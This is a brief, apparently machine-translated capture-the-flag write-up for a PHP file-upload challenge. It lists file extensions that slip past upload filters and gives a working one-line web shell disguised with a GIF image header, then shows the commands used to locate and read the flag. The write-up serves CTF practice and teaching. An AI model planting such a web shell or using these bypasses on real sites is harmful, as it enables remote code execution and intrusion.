【BUUCTF】[Geek Challenge 2019] Upload Writeup

0x00 test site

File upload bypass

• PHP one-sentence Trojan with picture header

Parsable php suffix name:

• php3 ， php4 ， php5 ， pht ， phtml, phps, pht ， phtm

0x01 problem solving

• Image must be uploaded

PHP one-sentence Trojan with gif image header

GIF89a? <script language="php">eval($_REQUEST[a])</script>

find / -name flag

ls /
cat /flag